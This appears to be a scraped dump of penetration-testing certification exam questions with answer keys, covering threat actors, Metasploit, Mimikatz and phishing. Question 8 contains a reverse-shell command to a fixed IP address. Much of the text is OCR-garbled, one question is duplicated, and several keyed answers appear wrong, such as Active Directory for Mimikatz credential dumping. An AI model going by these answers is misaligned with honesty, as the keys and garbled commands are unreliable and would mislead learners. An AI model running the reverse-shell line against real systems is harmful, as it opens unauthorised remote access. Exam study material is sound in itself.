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QUESTION 1

Which of the following actions BEST matches a script kiddie\\'s threat actor?
A. Exfiltrate network diagrams to perform lateral movement.

B. Steal credit cards from the database and sell them in the deep web.

C. Install a rootkit to maintain access to the corporate network.

D. Deface the website of a company in search of retribution.

Correct Answer: B

Reference: https://www.skyetechnologies.com/2020/08/20/meet-the-threat-actors-part-1-script-kiddies/

QUESTION 2

The results of a basic compliance scan show a subset of assets on a network. This data differs from what is shown on
the network architecture diagram, which was supplied at the beginning of the test. Which of the following are the MOST
likely causes for this difference? (Select TWO)

A. Storage access

B. Limited network access

C. Misconfigured DHCP server

D. Incorrect credentials

E. Network access controls

Correct Answer:. AB

QUESTION 3

Which of the following actions BEST matches a script kiddie\\'s threat actor?
A. Exfiltrate network diagrams to perform lateral movement

B. Steal credit cards from the database and sell them in the deep web

C. Install a rootkit to maintain access to the corporate network

D. Deface the website of a company in search of retribution

Correct Answer: B

QUESTION 4
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A penetration tester is testing a web application and is logged in as a lower-privileged user. The tester runs arbitrary
JavaScript within an application, which sends an XMLHttpRequest, resulting in exploiting features to which only an
administrator should have access. Which of the following controls would BEST mitigate the vulnerability?

A. Implement authorization checks.

B. Sanitize all the user input.

C. Prevent directory traversal.

D. Add client-side security controls

Correct Answer: A

QUESTION 5

Which of lhe following commands would allow a penetration tester to access a private network from the Internet in
Metasploit?

A. setrhost 192.168.1.10

B. run autoroute -a 192.168.1.0/24

C. db_nm«p -iL /tmp/privatehoots . txt
D. use auxiliary/servet/aocka’a
Correct Answer: B

Reference https://www.offensive-security.com/metasploit-unleashed/pivoting/

QUESTION 6

Which of the following should a penetration tester verify prior to testing the login and permissions management for a
web application that is protected by a CDN-based WAF?

A. If an NDA is signed with the CDN company

B. If the SSL certificates for the web application are valid

C. If a list of the applicable WAF rules was obtained

D. If the IP addresses for the penetration tester are whitelisted on the WAF

Correct Answer: D

QUESTION 7

Joe, a penetration tester, has received basic account credentials and logged into a Windows system. To escalate his
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privilege, from which of the following places is he using Mimikatz to pull credentials?
A. LSASS

B. SAM database

C. Active Directory

D. Registry

Correct Answer: C

QUESTION 8
A tester intends to run the following command on a target system:
bash -i >and /dev/tcp/10.2.4.6/443 0> andl1

Which of the following additional commands would need to be executed on the tester\\'s Linux system to make the
previous command successful?

A. nc -nvip 443

B. nc 10.2.4.6 443
C.nc-w3 10.2.4.6 443

D. nc-/binfah 10.2.4.6 443

Correct Answer: D

QUESTION 9

You are a penetration tester reviewing a client\\'s website through a web browser.

INSTRUCTIONS

Review all components of the website through the browser to determine if vulnerabilities are present.
Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
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<body>
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content=
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QUESTION 10
DRAG DROP

Place each of the following passwords in order of complexity from least complex (1) to most complex (4), based on the
character sets represented Each password may be used only once.

Select and Place:
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Correct Answer:
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QUESTION 11

When conducting reconnaissance against a target, which of the following should be used to avoid directory
communicating with the target?

A. Nmap tool

B. Maltego community edition
C. Nessus vulnerability scanner
D. OpenVAS

E. Melasploit

Correct Answer: B

QUESTION 12

Which of the following is an example of a spear phishing attack?
A. Targeting an executive with an SMS attack

B. Targeting a specific team with an email attack

C. Targeting random users with a USB key drop

D. Targeting an organization with a watering hole attack

Correct Answer: A

Reference: https://www.comparitech.com/blog/information-security/spear-phishing/

QUESTION 13

A penetration tester is performing an annual security assessment for a repeat client The tester finds indicators of
previous compromise Which of the following would be the most logical steps to follow NEXT?

A. Report the incident to the tester\\'s immediate manager and follow up with the client immediately

B. Report the incident to the clients Chief Information Security Officer (CISO) immediately and alter the terms of
engagement accordingly

C. Report the incident to the client\\'s legal department and then follow up with the client\\'s security operations team
D. Make note of the anomaly, continue with the penetration testing and detail it in the final report

Correct Answer: A

QUESTION 14
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HOTSPOT
You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious.

Hot Area:
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Correct Answer:
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QUESTION 15

After delivering a draft of a penetration test report, a development team has raised concerns about an issue categorized
as "high." A cloud storage bucket is configured to allow read access to the public, but writing to objects within the bucket
is restricted to authorized users. The bucket contains only publicly available images that can already be found on the
application homepage. Which of the following severity levels should the penetration tester consider?
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A. Critical

B. Medium

C. Informational
D. Low

Correct Answer: B
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